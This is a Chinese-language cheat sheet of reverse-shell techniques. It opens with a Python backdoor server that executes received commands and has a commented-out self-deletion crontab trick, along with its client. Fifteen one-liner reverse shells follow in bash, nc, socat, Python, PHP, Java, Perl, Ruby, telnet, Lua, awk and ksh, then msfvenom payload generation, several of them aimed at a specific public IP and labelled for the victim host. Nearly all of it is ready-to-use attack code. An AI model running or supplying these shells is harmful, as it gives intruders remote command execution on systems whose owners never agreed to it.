反弹shell—python

  1. #-*- coding: utf-8 -*-
  2. from socket import *
  3. import os
  4. HOST=''
  5. PORT=1122
  6. BUFSIZ=1024
  7. ADDR=(HOST, PORT)
  8. sock=socket(AF_INET, SOCK_STREAM)
  9. sock.bind(ADDR)
  10. sock.listen(1)
  11. STOP_CHAT=False
  12. while not STOP_CHAT:
  13. tcpClientSock, addr=sock.accept()
  14. print('Listening.....')
  15. while True:
  16. try:
  17. data=tcpClientSock.recv(BUFSIZ)
  18. except:
  19. tcpClientSock.close()
  20. break
  21. if not data:
  22. break
  23. STOP_CHAT=(data.decode('utf8').upper()=="QUIT")
  24. if STOP_CHAT:
  25. #打扫战场 运用linux定时计划任务一分钟后删除当前脚本文件
  26. #current_file_path =os.getcwd()+sys.argv[0]
  27. #os.system('echo */1  *  *  *  *  rm -rf '+current_file_path+' >> /etc/crontab')
  28. #tell_hack = 'Will help you clean war...'
  29. #tcpClientSock.sendall(tell_hack.encode('utf8'))
  30. break
  31. ME = os.popen(data.decode('utf8'))
  32. os_result = ME.read()
  33. print(os_result)
  34. tcpClientSock.sendall(os_result.encode('utf8'))
  35. tcpClientSock.close()
  36. sock.close()
  • 客户端代码:
  1. #-*- coding: utf-8 -*-
  2. import os,sys
  3. from socket import *
  4. class TcpClient:
  5. HOST='127.0.0.1'
  6. PORT=1122
  7. BUFSIZ=2048
  8. ADDR=(HOST, PORT)
  9. def __init__(self):
  10. self.client=socket(AF_INET, SOCK_STREAM)
  11. self.client.connect(self.ADDR)
  12. while True:
  13. data=input('OS Shell >')
  14. if not data:
  15. break
  16. self.client.send(data.encode('utf8'))
  17. print('Execute %s:%s' %(self.HOST,data))
  18. if data.upper()=="QUIT":
  19. break
  20. data=self.client.recv(self.BUFSIZ)
  21. if not data:
  22. break
  23. print('Receive:%s' %(data.decode('utf8')))
  24. if __name__ == '__main__':
  25. client=TcpClient()
  • linux反弹shell总结(15种方法)

    • 1.1发送文件(公网发内网)

      • 文件发送端:nc -lp 6666 < 文件
      • 文件接收端:nc 发送端ip 发送端端口 > 新文件
    • 1.2发送文件(内网发公网)

      • 文件发送端:nc -lp 6666 > 文件
      • 文件接收端:nc 发送端ip 发送端端口 < 新文件
    • 2.聊天

      • 发送端:nc -lp 6666
      • 接收端:nc 发送端ip 发送端端口
    • 3.1发送shell

      • 发送端(公网服务器):nc -lvvp 6666 -e /bin/bash
      • 接收端:nc 发送端ip 发送端端口
    • 3.2反弹shell

      • 接收端:nc -lvvp 6666
      • 发送端(内网网服务器):nc 接收端ip 接收端端口 -e /bin/bash
    • 4.bash反弹

      • 接收端(hackip,公网):nc -lvvp 端口

      • 发送端(受害者):

        1. bash -i >& /dev/tcp/hackip/hack端口 0>&1
  1. -

发送端(受害者):

  1. 0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31
  • 5.1socat反弹(tcp)

    • 接收端(攻击机):./socat TCP-LISTEN:端口 –

    • 发送端(靶机):

      1. ./socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
  • 5.2socat反弹(udp)

    • 接收端:nc -lvvp 8080

    • 发送端:

      1. socat udp-connect:111.230.170.95:8080 exec:’bash -li’,pty,stderr,sane 2>&1>/dev/null &
  • 6.python反弹

  • 接收端(攻击机,外网):nc -lvvp 端口

  • 发送端(靶机):

    1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.74.128",1254));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 7.PHP反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. php -r '$sock=fsockopen("接收IP",接收端口);exec("/bin/sh -i <&3 >&3 2>&3");'
  • 8.JAVA反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. r = Runtime.getRuntime()
      2. p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
      3. p.waitFor()
  • 9.perl反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. perl -e 'use Socket;$i="111.230.170.95";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 10.ruby反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. ruby -rsocket -e exit if fork;c=TCPSocket.new(“111.230.170.95″,”8888″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end
  • 11.telnet反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. mknod backpipe p && telnet 111.230.170.95 8080 0backpipe
  • 12.lua反弹(安装lua环境:apt-get install lua*)

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. lua -e local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘111.230.170.95′,8080);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”
  • 13.awk反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. awk BEGIN{s=”/inet/tcp/0/111.230.170.95/8080″;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’
  • 14.ksh反弹

    • 接收端:nc -lvvp 端口

    • 发送端:

      1. ksh -c ksh >/dev/tcp/111.230.170.95/8080 2>&1 <&1
  • 15.msfvenom生成各种payload

    • 接收端:nc -lvvp 端口

    • 查找

      1. payloadmsfvenom -l payload |grep cmd/unix/reverse
  1. -

生成

  1. payloadmsfvenom -p cmd/unix/reverse_模块 lhost=接收端ip lport=接收端端口 R